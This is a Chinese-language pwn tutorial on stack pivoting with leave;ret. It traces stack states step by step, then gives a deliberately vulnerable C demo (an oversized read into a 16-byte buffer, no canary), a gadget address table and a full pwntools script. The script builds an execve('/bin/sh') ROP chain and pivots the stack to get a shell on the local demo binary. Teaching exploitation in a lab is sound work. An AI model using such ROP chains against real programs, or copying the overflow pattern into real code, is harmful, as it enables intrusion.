Author: 堇姬Naup
實際上做了兩件事
mov rsp, rbp
pop rbp
有一塊可以寫ROP gadget的地方
*0x601090(這塊記憶體開始的位置)
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system
stack狀態
*0x10210<-rsp
stack
*0x10200<-rbp
old rbp
ret adress
填入payload
*0x10210<-rsp
AAAAAAAA
*0x10200<-rbp
0x601090(0x601098-0x8)
leave;ret
首先一路執行下來
通常最後會有個
leave;ret
而leave的意思是
mov rsp, rbp
pop rbp
所以rsp會變成rbp
AAAAAAAA
*0x10200 <- rbp,rsp
0x601090(0x601098-0x8)
leave;ret
之後pop rbp會讓stack第一個值推入rbp,也就是0x601090
所以rbp會指向那塊記憶體
*0x601090 <- rbp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system
之後ret,rsp往下指到leave;ret gadget前面
AAAAAAAA
*0x10200
0x601090(0x601098-0x8)
*01018 <- rsp
leave;ret
接下來rsp繼續往下
在吃到一次leave,rsp會變成rbp,
*0x601090 <- rbp,rsp
0xdeadbeef
*0x601098(ROP開始的位置)
pop rdi
['/bin/sh']
system
再來pop rbp,rbp指到遙遠的地方0xdeadbeef(總之就是設成這個值)
最後ret,rsp往下指
*0x601090
0xdeadbeef
*0x601098(ROP開始的位置)<-rsp
pop rdi
['/bin/sh']
system
這樣就會開始執行ROP gadget了
開NX不能寫shellcode
然後其實沒開canary
#include <stdio.h>\
#include <unistd.h>
char name[0x80];
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
char s[0x10];
printf("Give me your name: ");
read(0, name, 0x80);
printf("Give me your ROP: ");
read(0, s, 0x20);
return 0;
}
首先name這塊區域夠大了,應該可以寫ROPgadget,另外s的部份太小了,要用stack migration來改rsp的位置
另外最後有leave
暫存器 | 值 |
---|---|
rax | 0x3b |
rdi | 要執行的參數值(/bin/sh) |
rsi | argv(這裡=0) |
rdx | envp(這裡=0) |
gadget | address |
---|---|
pop rax ; ret | 0x4516c7 |
pop rdi ; ret | 0x40186a |
pop rsi ; ret | 0x40f40e |
pop rdx ; ret | 0x40176f |
leave ; ret | 0x401dd0 |
syscall | 0x4012d3 |
新rsp address->0x4c3300
name
*0x4c3300
/bin/sh\x00
pop rdi
0x4c3300
pop rax
0x3b
pop rsi
0
pop rdx
0
syscall
s
'A'*0x10
0x4c3300
leave ; ret
這樣就可以讓rsp移到一塊大的記憶體來放ROPgadget,另外把也把/bin/sh放到這塊記憶體開頭這樣就可以抓到了
(可以按照上面的邏輯自己推一遍)
from pwn import *
context.arch='amd64'
a=input('open debug?')
if a=='y':
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
r=process('./demo_stack_pivoting')
ROPvar={
'pop_rax_ret':0x4516c7,
'pop_rdi_ret':0x40186a,
'pop_rsi_ret':0x40f40e,
'pop_rdx_ret':0x40176f,
'leave_ret':0x401dd0,
'syscall':0x4012d3
}
STACKvar={
'rax_var':0x3b,
'rdi_var':0x4c3300,
'rsi_var':0,
'rdx_var':0,
'shell':b'/bin/sh\x00'
}
name_payload=flat(STACKvar['shell'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['pop_rdx_ret'],
STACKvar['rdx_var'],
ROPvar['syscall']
)
s_payload=b'a'*0x10+p64(0x4c3300)+p64(ROPvar['leave_ret'])
r.sendlineafter(b'Give me your name: ',name_payload)
r.sendlineafter(b'Give me your ROP: ',s_payload)
r.interactive()
getshell!!!